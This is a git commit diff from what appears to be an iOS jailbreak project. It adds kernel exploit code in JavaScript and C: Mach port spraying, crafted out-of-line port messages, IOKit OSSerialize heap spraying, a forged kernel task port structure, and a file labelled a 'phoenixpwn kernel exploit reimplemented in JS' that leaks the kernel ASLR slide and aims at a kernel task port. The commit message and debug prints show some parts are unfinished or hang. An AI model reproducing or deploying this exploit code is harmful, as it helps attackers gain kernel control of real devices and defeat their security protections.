summaryrefslogtreecommitdiff
diff options
context:
space:
mode:
authorspv <aquaticvegetable@gmail.com>2022-04-27 12:00:16 -0400
committerspv <aquaticvegetable@gmail.com>2022-04-27 12:00:16 -0400
commit41a1e7292997c84643202f3d27a4daa4b02197e4 (patch)
tree4d2828935d4b5e9100903a698ea6136d1b277649
parent33be9e9d0a5ee0abd0837b74cca15474b81c4f57 (diff)
add hopefully functional port spray and broken release_port_ptrs that hangs after 1 run
-rwxr-xr-xsrc/js/kexp/exploit.js60
-rwxr-xr-xsrc/js/lib/myutils.js4
-rw-r--r--src/js/primitives/mem.js2
-rw-r--r--tools/backup2.c171
-rwxr-xr-xtools/testlol.c80
-rw-r--r--work/buf.txt2
-rwxr-xr-xwork/kek.txt195
-rwxr-xr-xwork/lol.txt2
8 files changed, 498 insertions, 18 deletions
diff --git a/src/js/kexp/exploit.js b/src/js/kexp/exploit.js
index e0ef574..22f68ca 100755
--- a/src/js/kexp/exploit.js
+++ b/src/js/kexp/exploit.js
@@ -26,8 +26,10 @@ var req_head_msgh_reply_port = 0xc;
var req_head_msgh_id = 0x14;
var req_msgh_body_msgh_descriptor_count = 0x18;
var MACH_MSG_OOL_PORTS_DESCRIPTOR = 0x2;
-var req_init_port_set_address = 0x0
-var req_init_port_set_count = 0x4
+var req_init_port_set_address = 0x0;
+var req_init_port_set_count = 0x4;
+var MACH_RCV_MSG = 0x2;
+var MACH_MSG_TIMEOUT_NONE = 0;
var task_self = 0;
var kslide = 0;
@@ -181,7 +183,7 @@ function spray(dict, size, port) {
var kp = 0;
function spray_ports(number_port_descs) {
- printf("spray_ports %d\n", number_port_descs);
+// printf("spray_ports %d\n", number_port_descs);
if (kp == 0) {
kp = malloc(4);
mach_port_allocate(task_self, MACH_PORT_RIGHT_RECEIVE, kp);
@@ -191,11 +193,12 @@ function spray_ports(number_port_descs) {
var mp = malloc(4);
mach_port_allocate(task_self, MACH_PORT_RIGHT_RECEIVE, mp);
- var rmp = read_u32(mp);
- mach_port_insert_right(task_self, rmp, rmp, MACH_MSG_TYPE_MAKE_SEND);
+ mach_port_insert_right(task_self, read_u32(mp), read_u32(mp), MACH_MSG_TYPE_MAKE_SEND);
- send_ports(rmp, read_u32(kp), 2, number_port_descs);
- return mp;
+ send_ports(read_u32(mp), read_u32(kp), 2, number_port_descs);
+ var ret = read_u32(mp);
+ free(mp);
+ return ret;
}
function fast_log2(n) {
@@ -242,8 +245,10 @@ function send_ports(target, payload, num, number_port_descs) {
new_buf_.push(tmp[3]);
new_buf_.push(0);
new_buf_.push(0);
- new_buf_.push(19);
new_buf_.push(MACH_MSG_OOL_PORTS_DESCRIPTOR);
+ new_buf_.push(19);
+
+// printf("%x 0x%08x,0x%08x,0x%08x,0x%08x,0x%08x,0x%08x,0x%08x,0x%08x,0x%08x,0x%08x,0x%08x,0x%08x,0x%08x,0x%08x,0x%08x,0x%08x,\n", new_buf_.length, new_buf_[zz]]);
var new_buf = fast_array_mul(new_buf_, number_port_descs);
@@ -267,11 +272,27 @@ function send_ports(target, payload, num, number_port_descs) {
free(buf);
- printf("%d %s\n", ret, mach_error_string(ret));
-
return ret;
}
+function release_port_ptrs(port) {
+ printf("alive\n");
+ var req = malloc(0x1c + (5 * 0xc) + 0x8);
+ for (var i = 0; i < (0x1c + (5 * 0xc) + 0x8); i += 4) {
+ write_u32(req + i, 0x0);
+ }
+ printf("%s\n", hexdump(read_buf(req, 0x1c + (5 * 0xc) + 0x8), 8, 2, req, 8, "0"));
+ printf("alive\n");
+ var ret = mach_msg(req, MACH_RCV_MSG, 0, (0x1c + (5 * 0xc) + 0x8), port, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
+ printf("alive\n");
+ // if (ret != KERN_SUCCESS) {
+ printf("mach_recv %d %s\n", ret, mach_error_string(ret));
+ printf("alive\n");
+ // }
+ free(req);
+ printf("alive\n");
+}
+
function get_kernel_task() {
var ret = 0;
var tfp0 = 0;
@@ -318,17 +339,36 @@ function get_kernel_task() {
prepare_ptr(big_buf, big_size, kptr, 256);
prepare_ptr(small_buf, small_size, kptr, 32);
+ sched_yield();
for (var i = 0; i < PORTS_NUM_PRESPRAY; i++) {
var dummy = malloc(4);
spray(big_buf, big_size, dummy);
}
+ sched_yield();
for (var i = 0; i < PORTS_NUM; i++) {
write_u32(fp + (i << 2), spray_ports(i));
var dummy = malloc(4);
spray(small_buf, small_size, dummy);
}
+ sched_yield();
+ for (var i = 0; i < PORTS_NUM; i++) {
+ printf("test\n");
+ printf("test1\n");
+ printf("test2\n");
+ printf("test3\n");
+ printf("test4\n");
+ printf("test5\n");
+ printf("test6\n");
+ printf("test7\n");
+ printf("test8\n");
+ printf("test9\n");
+ printf("test10\n");
+ release_port_ptrs(read_u32(fp + (i << 2)));
+ printf("test11\n");
+ }
+
printf("get lucky\n");
return tfp0;
diff --git a/src/js/lib/myutils.js b/src/js/lib/myutils.js
index 325c490..e856624 100755
--- a/src/js/lib/myutils.js
+++ b/src/js/lib/myutils.js
@@ -95,8 +95,8 @@ var strlen = scall_wrapper("strlen");
var mach_task_self = scall_wrapper("mach_task_self");
var mach_thread_self = scall_wrapper("mach_thread_self");
var malloc = scall_wrapper("malloc");
-var mach_port_allocate = scall_wrapper("malloc");
-var mach_port_insert_right = scall_wrapper("malloc");
+var mach_port_allocate = scall_wrapper("mach_port_allocate");
+var mach_port_insert_right = scall_wrapper("mach_port_insert_right");
var mach_port_set_attributes = scall_wrapper("mach_port_set_attributes");
var usleep = scall_wrapper("usleep");
var sched_yield = scall_wrapper("sched_yield");
diff --git a/src/js/primitives/mem.js b/src/js/primitives/mem.js
index ff12fdd..f6c4fe7 100644
--- a/src/js/primitives/mem.js
+++ b/src/js/primitives/mem.js
@@ -92,7 +92,7 @@ function write_u32_buf(addy, buf, len) {
}
function fast_write_buf(addy, buf) {
- var upper_i = Math.floor(buf.length / 0x100);
+ var upper_i = Math.ceil(buf.length / 0x100);
for (var i = 0; i < upper_i; i++) {
u8x4 = u32_to_u8x4(addy + (i * 0x100));
diff --git a/tools/backup2.c b/tools/backup2.c
new file mode 100644
index 0000000..87cf03d
--- /dev/null
+++ b/tools/backup2.c
@@ -0,0 +1,171 @@
+#include <mach/mach.h>
+#include <sys/mman.h>
+#include <stddef.h>
+#include <stdio.h>
+//#include <IOKit/IOKitLib.h>
+//#include <IOKit/iokitmig.h>
+
+typedef struct __attribute__((__packed__)) {
+ uint32_t ip_bits;
+ uint32_t ip_references;
+ struct __attribute__((__packed__)) {
+ uint32_t data;
+ uint32_t pad;
+ uint32_t type;
+ } ip_lock;
+ struct __attribute__((__packed__)) {
+ struct __attribute__((__packed__)) {
+ struct __attribute__((__packed__)) {
+ uint32_t flags;
+ uintptr_t waitq_interlock;
+ uint64_t waitq_set_id;
+ uint64_t waitq_prepost_id;
+ struct __attribute__((__packed__)) {
+ uintptr_t next;
+ uintptr_t prev;
+ } waitq_queue;
+ } waitq;
+ uintptr_t messages;
+ natural_t seqno;
+ natural_t receiver_name;
+ uint16_t msgcount;
+ uint16_t qlimit;
+ } port;
+ uintptr_t imq_klist;
+ } ip_messages;
+ natural_t ip_flags;
+ uintptr_t ip_receiver;
+ uintptr_t ip_kobject;
+ uintptr_t ip_nsrequest;
+ uintptr_t ip_pdrequest;
+ uintptr_t ip_requests;
+ uintptr_t ip_premsg;
+ uint64_t ip_context;
+ natural_t ip_mscount;
+ natural_t ip_srights;
+ natural_t ip_sorights;
+} kport_t;
+
+mach_port_t kp = 0;
+mach_port_t spray_ports(mach_msg_type_number_t number_port_descs) {
+ if (!kp) {
+ mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &kp);
+ mach_port_insert_right(mach_task_self(), kp, kp, MACH_MSG_TYPE_MAKE_SEND);
+ }
+
+ mach_port_t mp = 0;
+
+ mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &mp);
+ mach_port_insert_right(mach_task_self(), mp, mp, MACH_MSG_TYPE_MAKE_SEND);
+
+ send_ports(mp, kp, 2, number_port_descs);
+
+ return mp;
+}
+
+kern_return_t send_ports(mach_port_t target, mach_port_t payload, size_t num, mach_msg_type_number_t number_port_descs)
+{
+ mach_port_t init_port_set[num];
+ for(size_t i = 0; i < num; ++i)
+ {
+ init_port_set[i] = payload;
+ }
+
+ typedef struct {
+ mach_msg_header_t Head;
+ mach_msg_body_t msgh_body;
+ mach_msg_ool_ports_descriptor_t init_port_set[0];
+ } Request;
+
+ char buf[sizeof(Request) + number_port_descs*sizeof(mach_msg_ool_ports_descriptor_t)];
+ Request *InP = (Request*)buf;
+
+ InP->msgh_body.msgh_descriptor_count = number_port_descs;
+ for (int i = 0; i < 2; i++) {
+ InP->init_port_set[i].address = (void *)(init_port_set);
+ InP->init_port_set[i].count = 4;
+ InP->init_port_set[i].disposition = 19;
+ InP->init_port_set[i].deallocate = FALSE;
+ InP->init_port_set[i].type = MACH_MSG_OOL_PORTS_DESCRIPTOR;
+ }
+
+ InP->Head.msgh_bits = MACH_MSGH_BITS_COMPLEX | MACH_MSGH_BITS(19, MACH_MSG_TYPE_MAKE_SEND_ONCE);
+ /* msgh_size passed as argument */
+ InP->Head.msgh_remote_port = 0x44434241;
+ InP->Head.msgh_local_port = 0;
+ InP->Head.msgh_id = 0x1337;
+
+
+ int ret = mach_msg(&InP->Head, MACH_SEND_MSG|MACH_MSG_OPTION_NONE, (mach_msg_size_t)sizeof(Request)+number_port_descs*sizeof(mach_msg_ool_ports_descriptor_t), 0, 0, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
+ printf("%d %s\n", ret, mach_error_string(ret));
+ return ret;
+}
+
+int main(int argc, char* argv[]) {
+ printf("var MACH_PORT_RIGHT_RECEIVE = 0x%x;\n", MACH_PORT_RIGHT_RECEIVE);
+ printf("var MACH_MSG_TYPE_MAKE_SEND = 0x%x;\n", MACH_MSG_TYPE_MAKE_SEND);
+ printf("var MACH_PORT_LIMITS_INFO = 0x%x;\n", MACH_PORT_LIMITS_INFO);
+ printf("var MACH_PORT_LIMITS_INFO_COUNT = 0x%x;\n", MACH_PORT_LIMITS_INFO_COUNT);
+ printf("var MACH_MSG_OOL_PORTS_DESCRIPTOR = 0x%x;\n", MACH_MSG_OOL_PORTS_DESCRIPTOR);
+ printf("var kport_size = 0x%x;\n", sizeof(kport_t));
+ kport_t kport[2] = {};
+ uintptr_t *ptr = (uintptr_t*)(kport + 1);
+ kport->ip_bits = 0x80000002; // IO_BITS_ACTIVE | IOT_PORT | IKOT_TASK
+ kport->ip_references = 100;
+ kport->ip_lock.type = 0x11;
+ kport->ip_messages.port.qlimit = 777;
+ kport->ip_receiver = 0x12345678; // dummy
+ kport->ip_srights = 99;
+ typedef struct {
+ mach_msg_header_t Head;
+ mach_msg_body_t msgh_body;
+ mach_msg_ool_ports_descriptor_t init_port_set[0];
+ } Request;
+
+ printf("%x\n", sizeof(Request));
+ printf("%x\n", sizeof(mach_msg_ool_ports_descriptor_t));
+ printf("var req_init_port_set = 0x%x\n", offsetof(Request, init_port_set));
+ printf("var req_init_port_set_address = 0x%x\n", offsetof(mach_msg_ool_ports_descriptor_t, address));
+ printf("var req_init_port_set_count = 0x%x\n", offsetof(mach_msg_ool_ports_descriptor_t, count));
+ printf("%x %x %x %x %x\n", PROT_READ, PROT_WRITE, PROT_EXEC, MAP_PRIVATE, MAP_ANON);
+// printf("var req_init_port_set_disposition = 0x%x\n", offsetof(Request, init_port_set) + offsetof(mach_msg_ool_ports_descriptor_t, disposition));
+// printf("var req_init_port_set_deallocate = 0x%x\n", offsetof(Request, init_port_set) + offsetof(mach_msg_ool_ports_descriptor_t, deallocate));
+// printf("var req_init_port_set_type = 0x%x\n", offsetof(Request, init_port_set) + offsetof(mach_msg_ool_ports_descriptor_t, type));
+ printf("var req_head_msgh_bits = 0x%x\n", offsetof(Request, Head.msgh_bits));
+ printf("var req_head_msgh_request_port = 0x%x\n", offsetof(Request, Head.msgh_remote_port));
+ printf("var req_head_msgh_reply_port = 0x%x\n", offsetof(Request, Head.msgh_local_port));
+ printf("var req_head_msgh_id = 0x%x\n", offsetof(Request, Head.msgh_id));
+ printf("var req_msgh_body_msgh_descriptor_count = 0x%x\n", offsetof(Request, msgh_body.msgh_descriptor_count));
+
+ printf("%x\n", sizeof(mach_msg_header_t));
+
+ printf("%x\n", MACH_MSGH_BITS_COMPLEX | MACH_MSGH_BITS(19, MACH_MSG_TYPE_MAKE_SEND_ONCE));
+ printf("%x\n", MACH_SEND_MSG|MACH_MSG_OPTION_NONE);
+ printf("%x\n", MACH_MSG_TIMEOUT_NONE);
+
+ printf("var kport_ip_bits%x = 0x%x;\n", 4, offsetof(kport_t, ip_bits));
+ printf("var kport_ip_references%x = 0x%x;\n", 4, offsetof(kport_t, ip_references));
+ printf("var kport_ip_lock_type%x = 0x%x;\n", 4, offsetof(kport_t, ip_lock.type));
+ printf("var kport_ip_messages_port_qlimit%x = 0x%x;\n", 2, offsetof(kport_t, ip_messages.port.qlimit));
+ printf("var kport_ip_receiver%x = 0x%x;\n", 4, offsetof(kport_t, ip_receiver));
+ printf("var kport_ip_srights%x = 0x%x;\n", 4, offsetof(kport_t, ip_srights));
+ printf("var MIG_MAX = 0x%x\n", 0x1000);
+ printf("var NDR_record = %x %x %x %x\n", NDR_record);
+
+ spray_ports(2);
+
+/*
+ for (int i = 0; i < (sizeof(Request) + number_port_descs * sizeof(mach_msg_ool_ports_descriptor_t)); i++) {
+ printf("0x%02x,", ((uint8_t*)(buf))[i]);
+ }
+ printf("\n");
+
+ int ret = mach_msg(buf, 1, 0x1c + (number_port_descs * 0xc), 0, 0, 0, MACH_PORT_NULL);*/
+//
+// printf("%d %s\n", ret, mach_error_string(ret));
+
+ // printf("%p %p %x %x\n", buf, &InP->Head, sizeof(Request), sizeof(mach_msg_ool_ports_descriptor_t));
+ // printf("%x %x %x %x %x %x %x %x %x\n", &InP->Head, MACH_SEND_MSG|MACH_MSG_OPTION_NONE, (mach_msg_size_t)sizeof(Request)+number_port_descs*sizeof(mach_msg_ool_ports_descriptor_t), 0, 0, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL, 0x41414141);
+
+ return 0;
+}
diff --git a/tools/testlol.c b/tools/testlol.c
index 59b1db9..526895b 100755
--- a/tools/testlol.c
+++ b/tools/testlol.c
@@ -46,6 +46,67 @@ typedef struct __attribute__((__packed__)) {
natural_t ip_sorights;
} kport_t;
+mach_port_t kp = 0;
+mach_port_t spray_ports(mach_msg_type_number_t number_port_descs) {
+ if (!kp) {
+ mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &kp);
+ mach_port_insert_right(mach_task_self(), kp, kp, MACH_MSG_TYPE_MAKE_SEND);
+ }
+
+ mach_port_t mp = 0;
+
+ mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &mp);
+ mach_port_insert_right(mach_task_self(), mp, mp, MACH_MSG_TYPE_MAKE_SEND);
+
+ send_ports(mp, kp, 2, number_port_descs);
+
+ printf("%x %x %x %x\n", mp, kp, 2, number_port_descs);
+
+ return mp;
+}
+
+kern_return_t send_ports(mach_port_t target, mach_port_t payload, size_t num, mach_msg_type_number_t number_port_descs)
+{
+ mach_port_t init_port_set[num];
+ for(size_t i = 0; i < num; ++i)
+ {
+ init_port_set[i] = payload;
+ }
+
+ typedef struct {
+ mach_msg_header_t Head;
+ mach_msg_body_t msgh_body;
+ mach_msg_ool_ports_descriptor_t init_port_set[0];
+ } Request;
+
+ char buf[sizeof(Request) + number_port_descs*sizeof(mach_msg_ool_ports_descriptor_t)];
+ Request *InP = (Request*)buf;
+
+ InP->msgh_body.msgh_descriptor_count = number_port_descs;
+ for (int i = 0; i < 2; i++) {
+ InP->init_port_set[i].address = (void *)0x41424344;
+ InP->init_port_set[i].count = 0x45464748;
+ InP->init_port_set[i].disposition = 0x53;
+ InP->init_port_set[i].deallocate = 0x51;
+ InP->init_port_set[i].type = 0x54;
+ }
+
+ InP->Head.msgh_bits = 0x494a4b4c;
+ /* msgh_size passed as argument */
+ InP->Head.msgh_remote_port = 0x4d4e4f50;
+ InP->Head.msgh_local_port = 0x51525354;
+ InP->Head.msgh_id = 0x55565758;
+
+ for (int i = 0; i < (sizeof(Request) + number_port_descs * sizeof(mach_msg_ool_ports_descriptor_t)); i++) {
+ printf("0x%02x,", ((uint8_t*)(buf))[i]);
+ }
+ printf("\n");
+
+ int ret = mach_msg(&InP->Head, MACH_SEND_MSG|MACH_MSG_OPTION_NONE, (mach_msg_size_t)sizeof(Request)+number_port_descs*sizeof(mach_msg_ool_ports_descriptor_t), 0, 0, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
+ printf("%d %s\n", ret, mach_error_string(ret));
+ return ret;
+}
+
int main(int argc, char* argv[]) {
printf("var MACH_PORT_RIGHT_RECEIVE = 0x%x;\n", MACH_PORT_RIGHT_RECEIVE);
printf("var MACH_MSG_TYPE_MAKE_SEND = 0x%x;\n", MACH_MSG_TYPE_MAKE_SEND);
@@ -97,13 +158,22 @@ int main(int argc, char* argv[]) {
printf("var MIG_MAX = 0x%x\n", 0x1000);
printf("var NDR_record = %x %x %x %x\n", NDR_record);
- int number_port_descs = 1;
+// spray_ports(2);
- char buf[sizeof(Request) + number_port_descs*sizeof(mach_msg_ool_ports_descriptor_t)];
- Request *InP = (Request*)buf;
+ printf("%x\n", MACH_RCV_MSG);
+
+/*
+ for (int i = 0; i < (sizeof(Request) + number_port_descs * sizeof(mach_msg_ool_ports_descriptor_t)); i++) {
+ printf("0x%02x,", ((uint8_t*)(buf))[i]);
+ }
+ printf("\n");
+
+ int ret = mach_msg(buf, 1, 0x1c + (number_port_descs * 0xc), 0, 0, 0, MACH_PORT_NULL);*/
+//
+// printf("%d %s\n", ret, mach_error_string(ret));
- printf("%p %p %x %x\n", buf, &InP->Head, sizeof(Request), sizeof(mach_msg_ool_ports_descriptor_t));
- printf("%x %x %x %x %x %x %x %x %x\n", &InP->Head, MACH_SEND_MSG|MACH_MSG_OPTION_NONE, (mach_msg_size_t)sizeof(Request)+number_port_descs*sizeof(mach_msg_ool_ports_descriptor_t), 0, 0, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL, 0x41414141);
+ // printf("%p %p %x %x\n", buf, &InP->Head, sizeof(Request), sizeof(mach_msg_ool_ports_descriptor_t));
+ // printf("%x %x %x %x %x %x %x %x %x\n", &InP->Head, MACH_SEND_MSG|MACH_MSG_OPTION_NONE, (mach_msg_size_t)sizeof(Request)+number_port_descs*sizeof(mach_msg_ool_ports_descriptor_t), 0, 0, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL, 0x41414141);
return 0;
}
diff --git a/work/buf.txt b/work/buf.txt
new file mode 100644
index 0000000..af5be02
--- /dev/null
+++ b/work/buf.txt
@@ -0,0 +1,2 @@
+0x0b,0xe4,0xb6,0x22,0xf0,0x56,0x10,0x00,0x02,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x2c,0x58,0x10,0x00,0x68,0x25,0x00,0x00,
+0xf0,0x17,0xe7,0x17,0x02,0x00,0x00,0x00,0x00,0x00,0x13,0x02,0xf0,0x17,0xe7,0x17,0x02,0x00,0x00,0x00,0x00,0x00,0x13,0x02, \ No newline at end of file
diff --git a/work/kek.txt b/work/kek.txt
new file mode 100755
index 0000000..047b7d2
--- /dev/null
+++ b/work/kek.txt
@@ -0,0 +1,195 @@
+/*
+ * phoenixpwn kernel exploit
+ * reimplemented in JS
+ * greetz to @s1guza, @tihmstar, @i41nbeer, @mbazaliy
+ */
+
+var sanity_port = 0;
+var MACH_PORT_RIGHT_RECEIVE = 0x1;
+var MACH_MSG_TYPE_MAKE_SEND = 0x14;
+var MACH_PORT_LIMITS_INFO = 0x1;
+var MACH_PORT_LIMITS_INFO_COUNT = 0x1;
+var kport_size = 0x78;
+var kport_ip_bits4 = 0x0;
+var kport_ip_references4 = 0x4;
+var kport_ip_lock_type4 = 0x10;
+var kport_ip_messages_port_qlimit2 = 0x42;
+var kport_ip_receiver4 = 0x4c;
+var kport_ip_srights4 = 0x70;
+var KERN_SUCCESS = 0;
+var NULL = 0;
+var MACH_PORT_NULL = 0;
+
+var fakeportData = 0;
+
+var kOSSerializeDictionary = 0x01000000;
+var kOSSerializeArray = 0x02000000;
+var kOSSerializeSet = 0x03000000;
+var kOSSerializeNumber = 0x04000000;
+var kOSSerializeSymbol = 0x08000000;
+var kOSSerializeString = 0x09000000;
+var kOSSerializeData = 0x0a000000;
+var kOSSerializeBoolean = 0x0b000000;
+var kOSSerializeObject = 0x0c000000;
+
+var kOSSerializeTypeMask = 0x7F000000;
+var kOSSerializeDataMask = 0x00FFFFFF;
+
+var kOSSerializeEndCollection = 0x80000000;
+
+var kOSSerializeMagic = 0x000000d3;
+
+var PROT_READ = 0x1;
+var PROT_WRITE = 0x2;
+var PROT_EXEC = 0x4;
+
+var SIZEOF_BYTES_MSG = 384;
+
+var PORTS_NUM = 1024;
+var PORTS_NUM_PRESPRAY = 100;
+var MIG_MAX = 0x1000;
+var NDR_record = 0x36ebf00c;
+
+function spray_data(mem, size, num, portptr) {
+ var err = malloc(4);
+ var ret = 0;
+ var master = malloc(4);
+ host_get_io_master(mach_host_self(), master);
+ var dict = malloc(MIG_MAX);
+ var __cnt = 0;
+ write_u32(dict + (__cnt << 2), kOSSerializeMagic); __cnt++;
+ write_u32(dict + (__cnt << 2), kOSSerializeEndCollection | kOSSerializeDictionary | 1); __cnt++;
+ write_u32(dict + (__cnt << 2), kOSSerializeSymbol | 4); __cnt++;
+ write_u32(dict + (__cnt << 2), 0x0079656b); __cnt++;
+ write_u32(dict + (__cnt << 2), kOSSerializeEndCollection | kOSSerializeArray | num); __cnt++;
+
+ for (var i = 0; i < num; i++) {
+ if (i == (num - 1)) {
+ write_u32(dict + (__cnt << 2), kOSSerializeEndCollection | kOSSerializeData | SIZEOF_BYTES_MSG); __cnt++;
+ } else {
+ write_u32(dict + (__cnt << 2), kOSSerializeData | SIZEOF_BYTES_MSG); __cnt++;
+ }
+ if (mem != 0 && size != 0) {
+ memcpy(dict + (__cnt << 2), mem, size);
+ }
+ memset(dict + (__cnt << 2) + size, 0, SIZEOF_BYTES_MSG - size);
+ __cnt += SIZEOF_BYTES_MSG / 4;
+ }
+
+ printf("%x %x\n", master, read_u32(master));
+ printf("%x\n", read_u32(0x36ebf00c + get_dyld_shc_slide()));
+ ret = io_service_add_notification_ool(read_u32(master), "IOServiceTerminate", dict, __cnt * 4, MACH_PORT_NULL, NULL, 0, err, portptr);
+ if (ret == KERN_SUCCESS) {
+ ret = read_u32(err);
+ }
+
+ return ret;
+}
+
+function copyinPort(kport, cnt) {
+ var err = malloc(4);
+ var ret = 0;
+ var self = mach_task_self();
+ var service = MACH_PORT_NULL;
+ var client = malloc(4);
+ var it = malloc(4);
+ var o = MACH_PORT_NULL;
+ var data = malloc(4);
+ var master = malloc(4);
+ fakeportData = malloc(4);
+ host_get_io_master(mach_host_self(), master);
+ ret = spray_data(NULL, 0, 5, data);
+ printf("spray_data=%d (%s)\n", ret, mach_error_string(ret));
+ printf("sprayed, still here\n");
+ printf("still alive 100\n");
+
+ service = IOServiceGetMatchingService(read_u32(master), IOServiceMatching("AppleMobileFileIntegrity"));
+ printf("service=%x\n", service);
+ printf("still alive 104\n");
+
+ var tst = sptr("AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA");
+ var kpbuf = tst + 4;
+ for (var i = 0; i < cnt; i++) {
+ write_buf(kpbuf + (i * kport_size), read_buf(kport + (i * kport_size), kport_size), kport_size);
+ }
+ printf("still alive 111\n");
+
+ var err = malloc(4);
+ printf("still alive 114\n");
+ var xml = sptr("<plist><dict><key>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA</key><integer size=\"512\">1768515945</integer></dict></plist>");
+ printf("still alive 116\n");
+ ret = io_service_open_extended(service, self, 0, 0, 1, xml, strlen(xml) + 1, err, client);
+ printf("still alive 118\n");
+ printf("io_service_open_extended=%d (%s)\n", ret, mach_error_string(ret));
+ printf("still alive 120\n");
+ if (ret == KERN_SUCCESS) {
+ ret = read_u32(err);
+ }
+ printf("still alive 124\n");
+ printf("io_service_open_extended=%d (%s)\n", ret, mach_error_string(ret));
+ printf("still alive 126\n");
+ IORegistryEntryGetChildIterator(service, "IOService", it);
+ printf("still alive 128\n");
+
+ var found = false;
+
+ while ((o = IOIteratorNext(read_u32(it))) != MACH_PORT_NULL && !found) {
+ printf("still alive 133\n");
+ var buf = malloc(16 * 4);
+ var size = malloc(4);
+ write_u32(size, 16 * 4);
+ ret = IORegistryEntryGetProperty(o, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA", buf, size);
+ if (ret == KERN_SUCCESS) {
+ printf("yolo\n");
+ mach_port_deallocate(self, read_u32(data));
+ write_u32(data, MACH_PORT_NULL);
+ spray_data(tst, strlen(tst) + 1, 10, fakeportData);
+ printf("YOLO YOLO YOLO kaslr_slide=0x%08x\n", ((read_u32(buf + (9 << 2)) & 0xfff00000) + 0x1000) - 0x80001000);
+ sleep(1);
+ found = true;
+ }
+ }
+
+}
+
+function get_kernel_task() {
+ var ret = 0;
+ var tfp0 = 0;
+
+ sanity_port = malloc(4);
+
+ mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, sanity_port);
+ mach_port_insert_right(mach_task_self(), read_u32(sanity_port), read_u32(sanity_port), MACH_MSG_TYPE_MAKE_SEND);
+ limits = malloc(4);
+ write_u32(limits, 1000);
+ mach_port_set_attributes(mach_task_self(), read_u32(sanity_port), MACH_PORT_LIMITS_INFO, limits, MACH_PORT_LIMITS_INFO_COUNT);
+
+ printf("starting exploit\n");
+
+ var data = malloc(16);
+ var kport = malloc(kport_size * 2);
+ var ptr = kport + kport_size; // maybe + 1? iirc adding 1 to a pointer adds sizeof(type) unless it's void or something
+ write_u32(kport + kport_ip_bits4, 0x80000002); // IO_BITS_ACTIVE | IOT_PORT | IKOT_TASK
+ write_u32(kport + kport_ip_references4, 100);
+ write_u32(kport + kport_ip_lock_type4, 0x11);
+ write_u16(kport + kport_ip_messages_port_qlimit2, 777);
+ write_u32(kport + kport_ip_receiver4, 0x12345678); // dummy
+ write_u32(kport + kport_ip_srights4, 99);
+
+ var big_buf = malloc(MIG_MAX);
+ var small_buf = malloc(MIG_MAX);
+
+ var big_size = 0;
+ var small_size = 0;
+
+ var fp = malloc(PORTS_NUM * 4);
+ var postSpray = malloc(4);
+
+ usleep(10000);
+ sched_yield();
+ var kptr = copyinPort(kport, 2);
+
+ printf("get lucky\n");
+
+ return tfp0;
+} \ No newline at end of file
diff --git a/work/lol.txt b/work/lol.txt
new file mode 100755
index 0000000..fab4ec8
--- /dev/null
+++ b/work/lol.txt
@@ -0,0 +1,2 @@
+0x13,0x15,0x00,0x80,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x39,0x05,0x00,0x00,0x02,0x00,0x00,0x00,0xa0,0x1b,0x61,0x17,0x02,0x00,0x00,0x00,0x00,0x00,0x13,0x02,0xa0,0x1b,0x61,0x17,0x02,0x00,0x00,0x00,0x00,0x00,0x13,0x02
+0x13,0x15,0x00,0x80,0xec,0x56,0x10,0x00,0x44,0x43,0x42,0x41,0x00,0x00,0x00,0x00,0x2c,0x58,0x10,0x00,0x37,0x13,0x00,0x00,0x02,0x00,0x00,0x00,0x44,0x43,0x42,0x41,0x04,0x00,0x00,0x00,0x00,0x00,0x13,0x02,0x44,0x43,0x42,0x41,0x04,0x00,0x00,0x00,0x00,0x57,0x13,0x02, \ No newline at end of file